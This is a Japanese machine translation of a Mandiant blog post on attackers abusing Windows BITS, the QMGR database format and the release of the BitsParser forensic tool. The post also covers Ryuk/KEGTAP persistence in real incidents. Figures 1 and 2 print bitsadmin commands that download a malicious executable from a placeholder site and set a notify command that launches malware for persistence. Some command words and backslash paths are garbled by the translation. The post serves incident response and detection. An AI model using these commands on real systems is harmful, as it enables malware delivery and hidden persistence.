バックグラウンド: 攻撃者による Windows バックグラウンド インテリジェント転送サービスの使用

Using bitsadmin to create a job that will launch malware.exe after attempting to download an invalid URL. news

このブログ投稿では、以下について説明します。

  • 攻撃者がバックグラウンド インテリジェント転送サービス (BITS) を使用する方法
  • データ形式の仕様で攻撃者の活動を検出するためのフォレンジック手法
  • BitsParserツールの公開リリース
  • BITS 永続性を使用したマルウェアの実例

序章

Microsoft は、Windows XP でバックグラウンド インテリジェント転送サービス (BITS) を導入し、大きなファイルのダウンロードとアップロードを簡素化および調整しました。アプリケーションとシステム コンポーネント、特に Windows Update は、BITS を使用してオペレーティング システムとアプリケーションの更新を配信するため、ユーザーの中断を最小限に抑えてダウンロードできます。

アプリケーションは、ダウンロードまたはアップロードする 1 つ以上のファイルを含むジョブを作成することにより、Background Intelligent Transfer Service と対話します。 BITS サービスはサービス ホスト プロセスで実行され、いつでも転送が行われるようにスケジュールできます。ジョブ、ファイル、および状態の情報は、ローカル データベースに保存されます。

攻撃者が BITS を使用する方法

多くのテクノロジと同様に、BITS は正当なアプリケーションと攻撃者の両方によって使用される可能性があります。悪意のあるアプリケーションが BITS ジョブを作成すると、サービス ホスト プロセスのコンテキストでファイルがダウンロードまたはアップロードされます。これは、悪意のあるプロセスや不明なプロセスをブロックする可能性があるファイアウォールを回避するのに役立ち、どのアプリケーションが転送を要求したかをわかりにくくするのに役立ちます。 BITS 転送は、長時間実行されるプロセスやタスク スケジューラに依存することなく、特定の時間に実行できるようにスケジュールすることもできます。

BITS 転送は非同期であるため、要求された転送が完了したときに、ジョブを作成したアプリケーションが実行されていない可能性があります。このシナリオに対処するために、ユーザー指定の通知コマンドを使用して BITS ジョブを作成できます。これは、ジョブの完了後またはエラーの場合に実行されます。 BITS ジョブに関連付けられた通知コマンドでは、実行する任意の実行可能ファイルまたはコマンドを指定できます。攻撃者は、悪意のあるアプリケーションの永続性を維持する方法として、この機能を利用しています。

BITS ジョブのコマンド データは、従来のレジストリの場所ではなくデータベースに保存されるため、永続化実行可能ファイルやコマンドを特定しようとするツールや法医学調査員によって見落とされる可能性があります。

BITS ジョブは、API 関数呼び出しを使用するか、bitsadmin コマンド ライン ツールを使用して作成できます。 BITS ジョブを使用してファイルをダウンロードし、実行をトリガーする方法の例については、図 1 と図 2 を参照してください。

> bitsadmin /create ダウンロード
> bitsadmin /addfile ダウンロード https://<サイト>/malware.exe c:windowsmalware.exe
> bitsadmin /ダウンロードの再開
> bitsadmin /完全なダウンロード

ジョブ {EA8603EB-7CC2-44EC-B1EE-E9923290C2ED} を作成しました。
https://<site>/malware.exe -> c:windowsmalware.exe をジョブに追加しました。
ジョブが再開されました。
ジョブが完了しました。

図 1: bitsadmin を使用して、悪意のある実行可能ファイルをダウンロードし、c:windowsmalware.exe に保存するジョブを作成します。

> bitsadmin /create 永続化
> bitsadmin /addfile 永続性 http://127.0.0.1/invalid.exe c:windowsi.exe
> bitsadmin /SetNotifyCmdLine 永続性 c:windowsmalware.exe NULL
> bitsadmin /resume 永続性
Using bitsadmin to create a job that will launch malware.exe after attempting to download an invalid URL.
図 2: bitsadmin を使用して、無効な URL のダウンロードを試みた後に、malware.exe を起動するジョブを作成します。

BitsParser の作成

Mandiant のコンサルタントは調査を通じて、攻撃者が複数のキャンペーンで BITS を利用している証拠を特定しました。攻撃者による BITS の使用の証拠を検索するには、BITS が使用する基盤となるインフラストラクチャを理解し、関連情報を収集できるツールを作成する必要がありました。

BITS データベースを解析し、エンドポイント システムで実行されたジョブに関する情報を返すBitsParserを作成しました。このツールは、エンドポイント エージェントを介して Mandiant のコンサルタントが社内で実行できるため、企業全体の多くのホストから BITS データを取得できます。 BitsParser は、攻撃者のダウンロード、アップロード、および持続性を明らかにするために、多くの調査で成功裏に使用されています。

カスタム データベース形式を処理するために、BitsParser はオープン ソースの ANSSI-FRライブラリを利用します。このライブラリを使用すると、BITS データベース ファイルからアクティブなエントリと削除されたエントリの両方を解析でき、ジョブとファイルのレコードから関連情報を完全に抽出できます。

QMGR データベース

BITS ジョブと関連する状態情報は、 %ALLUSERSPROFILE%MicrosoftNetworkDownloaderディレクトリにあるローカルの “キュー マネージャー” (QMGR) データベース ファイルに格納されます。データベースは、qmgr0.dat および qmgr1.dat という名前のファイルに保存されます。 2 ファイル スキームは、バックアップと同期の目的で使用されているようです。 2 番目のファイルには重複したジョブとファイルの情報がほとんど含まれていますが、いくつかの固有のエントリまたは古いエントリがファイルに含まれています。

Windows 10 の変更点

バックグラウンド インテリジェント転送サービスは、導入以来ほとんど変更されていません。ただし、Windows 10 では、まったく新しいデータベース形式など、サービスに大幅な変更が加えられました。 Windows 10 では、QMGR データベースは Extensible Storage Engine (ESE) 形式を使用して保存されます。 ESE データベースは、Exchange、Active Directory、Internet Explorer など、他の多くの Microsoft 製品で使用されています。

Windows 10 は、QMGR データベースをqmgr.dbという単一のファイルに格納します。個別のトランザクション ログ ファイルが同じディレクトリに保持されます。最新のトランザクション ログはedb.logというファイルに保存され、通常、数値のサフィックスが付いた 3 つの古いトランザクション ログが存在します。

ESE データベースの解析

Windows 10 システムでの調査をサポートするために、新しい QMGR データベース形式をサポートするように BitsParser ツールを更新しました。これを実現するには、Python ベースの ESE データベース パーサーが必要でした。調査の結果、Python ラッパーを使用して C で記述された完全な ESE データベース実装であるlibesedbにたどり着きました。他に使用できる Python オプションがないため、最初は BitsParser で libesedb を使用して Windows 10 QMGR データベースを解析しました。ただし、ネイティブの実行可能ファイルに依存せず、大規模な展開での効率を向上させるために、よりコンパクトなソリューションを探しました。

私たちが特定した唯一の純粋な Python ESE データベース実装は、 Impacketネットワーク ツールセットの一部でした。ソース コードは基本的なデータベース列挙を実行できましたが、長い値を処理する機能などの重要な機能がありませんでした。 QMGR データベースには、長い値を必要とするほど大きなエントリが含まれているため、Impacket 実装の変更が必要でした。 Impacket ESE データベースの解析コードを改良して、より堅牢にし、QMGR データベースの解析に必要なすべての機能をサポートするようにしました。完全な Python ソリューションにより、ネイティブ コードのリスクや制限なしに、はるかに小さなパッケージでデータベースの解析が可能になります。

データベース構造

Windows 10 QMGR データベースには、ジョブとファイルの 2 つのテーブルが含まれています。どちらのテーブルにも、Id と Blob の 2 つの列があります。 Id にはエントリを識別するための GUID が含まれ、Blob にはジョブまたはファイルを定義するバイナリ データが含まれます。幸いなことに、ジョブとファイルの構造は、以前のデータベース形式からほとんど変更されていません。

ジョブ データは制御構造で始まります。

オフセット

分野

サイズ

0

タイプ

4

4

優先順位

4

8

4

16

ジョブ ID (GUID)

16

32

名前 (UTF-16)

変数

変数

説明 (UTF-16)

変数

変数

コマンド (UTF-16)

変数

変数

引数 (UTF-16)

変数

変数

ユーザーSID (UTF-16)

変数

変数

フラグ

4

制御構造に続いて、XFER GUID {7756DA36-516F-435A-ACAC-44A248FFF34D} で区切られたファイルのリストがあります。リストは 4 バイトのファイル数で始まり、その後にファイル テーブルの Id 値に対応する GUID のリストが続きます。

ファイル データは次の構造を使用します。

分野

サイズ

宛先ファイル名 (UTF-16)

変数

ソースファイル名 (UTF-16)

変数

一時ファイル名 (UTF-16)

変数

ダウンロードサイズ

8

転送サイズ

8

わからない

1

ドライブ (UTF-16)

変数

ボリューム GUID (UTF-16)

変数

データベースは、Jobs テーブル内のエントリを列挙し、各ジョブ データを解析し、相関ファイルを検索し、Files テーブル内の対応するレコードを解析することによって処理されます。これにより、BitsParser は、関連する情報と出力ジョブを、関連するメタデータを含む関連ファイルと組み合わせることができます。

削除されたレコードの回復

アクティブなジョブには、Jobs テーブルと Files テーブルにエントリがあります。レコードは、ジョブの完了またはキャンセル時に削除されます。他のファイルシステムやデータ形式と同様に、削除されたエントリはすぐには上書きされず、削除後しばらくの間は回復できることがよくあります。

Windows 10 QMGR データベースから削除されたジョブとファイルを復元するには、次のアルゴリズムが使用されます。

  1. ファイル識別子 GUID {519ECFE4-D946-4397-B73E-268513051AB2} を検索して、ファイル レコードを見つけます。次のデータを通常のファイル レコードとして解析してみます。
  2. ジョブ識別子 GUID を検索して、ジョブ レコードを見つけます。次のデータを通常のジョブ レコードとして解析してみます。制御構造のみを解析して不完全なジョブ エントリを処理し、必要に応じて関連ファイルを手動で見つけます。
    次のジョブ GUID が QMGR データベースで確認されています。
    1. {E10956A1-AF43-42C9-92E6-6F9856EBA7F6}
    2. {4CD4959F-7064-4BF2-84D7-476A7E62699F}
    3. {A92619F1-0332-4CBF-9427-898818958831}
    4. {DDBC33C1-5AFB-4DAF-B8A1-2268B39D01AD}
    5. {8F5657D0-012C-4E3E-AD2C-F4A5D7656FAF}
    6. {94416750-0357-461D-A4CC-5DD9990706E4}
  3. 切り分けられたファイル レコードを切り分けられたジョブに関連付けます。アクティブまたは削除されたジョブに関連付けることができなかった残りのすべての切り分けられたファイル レコードを処理します。

履歴レコードは、トランザクション ログ ファイルにもあります。トランザクション ログ構造は解析しませんが、同じアルゴリズムを使用して、適切な GUID を検索することにより、ログ内のジョブおよびファイル レコードを見つけることができます。同じレコードが複数のファイルに存在する可能性がありますが、重複を抑制して冗長な情報が出力されるのを防ぐことができます。

BitsParser ツールのリリース

これを書いている時点では、BITS データベースを解析し、インシデント対応やフォレンジック調査に役立つデータを抽出するために利用できるオープン ソース ツールを認識していません。これに対処し、さらなる研究を促進するために、FireEye は BitsParser のスタンドアロン バージョンをリリースすることを決定しました。このコマンド ライン ユーティリティは、BITS データベースのすべてのバージョンを処理し、カービングを実行して、削除されたジョブとファイルの情報を復元できます。

BitsParser のソース コードは、 GitHub ページにあります。

Windows 10 では、QMGR データベース ファイルは BITS サービスによって共有されずに開かれるため、他のプログラムがそれらを直接開くことができないことに注意してください。 BitsParser が FireEye エンドポイント エージェントを介して展開されると、直接読み取ることができない状況で、ローカル ファイルシステムと raw 読み取りファイルを直接解析できます。スタンドアロンの BitsParser にはこの機能がありません。 BitsParser を実行する前に BITS サービスを停止する必要があります。または、ロックされたファイルをコピーするためのサードパーティ ツールを使用することができます。

野生での BITS の持続性

2020 年、Mandiant は、Ryuk ランサムウェア オペレーターがカスタム バックドアとローダーを利用して、病院やその他の医療サポート センターを積極的に標的にするという多くのインシデントに対応しました (当社のブログ記事Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser を参照してください)。 Mandiant は、多数の取り組みを通じて、攻撃者のツール テクニックと手順 (TTP) をプロファイリングし、暗号化の前に利用されたさまざまなバックドアとローダーの固有の側面を特定することができました。そのような関与の 1 つで、Mandiant のコンサルタントは、最初の悪用から企業リソースの暗号化および恐喝の要求まで、攻撃のタイムラインの大部分をマッピングしました。顧客のオンプレミス エンドポイント検出ソリューションによって提供されるログ分析とテレメトリにより、エンド ユーザーのワークステーションで KEGTAP バックドアが特定されました。 Mandiant は、KEGTAP を起動するファイルmail.exeのダウンロードと実行など、ランサムウェア オペレーターが使用する特定の電子メールとルアーを特定することができました。ただし、Mandiant が他の関与で観察した永続化メカニズムは、このエンドポイントには存在しませんでした。

永続化メカニズムを完全に理解することで、Mandiant は、環境全体やその他の取り組みにおける攻撃者の活動の追加の証拠を探すことができます。注目が高まる中、Mandiant のコンサルタントは、BITS サービスが KEGTAP バックドアを起動したことを示す証拠を特定しました。アナリストは、Microsoft-Windows-Bits-Client の運用イベント ログで、BITS サービス アクティビティをファイルmail.exeに関連付けるエントリを特定しました。

3 |情報 | BITS サービスが新しいジョブを作成しました: システム更新、所有者は編集済み

61 |警告 | BITS は、http://127.0.0.1/tst/56/ URL に関連付けられているシステム更新転送ジョブの転送を停止しました。ステータス コードは 2147954429 です。

64 |警告 | BITS ジョブ システム アップデートは、http://127.0.0.1/tst/12/ の転送後に C:UsersREDACTEDAppDataLocalMicrosoftWindowsINetCacheIEREDACTEDmail.exe を起動するように構成されています。サービスはエラー 2147942402 でプログラムを起動できませんでした。BITS は、成功するまでプログラムの起動を定期的に試行し続けます。

図 3: 永続化のための BITS ジョブの作成を示すイベント ログ エントリ

Mandiant のコンサルタントは、ホストとやり取りして QMGR データベースを調べることで、BITS ジョブの詳細を確認することができました。悪意のある BITS ジョブは、ローカル ホストから存在しないファイルの HTTP 転送を試みるように設定されていました。このファイルは決して存在しないため、BITS はエラー状態をトリガーし、通知コマンド (この場合は KEGTAP) を起動します。

残念ながら、これはこの脅威グループに関連するこれまで知られていなかった永続化メカニズムの特定に成功しましたが、手動の QMGR データベース分析では複数のシステムまたは環境に拡張できませんでした。 QMGR データベースの Windows 10 バージョンを解析するように既存の BitsParser を適応させることで、Mandiant のコンサルタントは、複数の環境にわたって追加の感染システムを効率的に特定できるようになりました。

{
“JobType”: “ダウンロード”,
“JobPriority”: “通常”,
“JobState”: “キューに入れられた”,
“JobName”: “システム更新”,
“CommandExecuted”: “C:UsersREDACTEDAppDataLocalMicrosoftWindowsINetCacheIEREDACTEDmail.exe”,
“ファイル”: [
{
“DestFile”: “C:UsersREDACTEDAppDataLocalMicrosoftWindowsINetCacheIEREDACTEDmail.exe”,
“SourceURL”: “http://127.0.0.1/tst/56/”,
“DownloadByteSize”: 0
}
]
}

図 4: BitsParser の出力は、悪意のある BITS ジョブが mail.exe を起動していることを示しています

結論

バックグラウンド インテリジェント転送サービスは、アプリケーションと攻撃者の両方にユーティリティを提供し続けます。 BITS QMGR データベースは、調査またはハンティング操作において有用なデータ ソースを提供できます。 BitsParserを他のフォレンジック ツールと併用して、攻撃者の活動を詳細に把握することができます。

参照: https://www.mandiant.com/resources/blog/attacker-use-of-windows-background-intelligent-transfer-service

Comments

Copied title and URL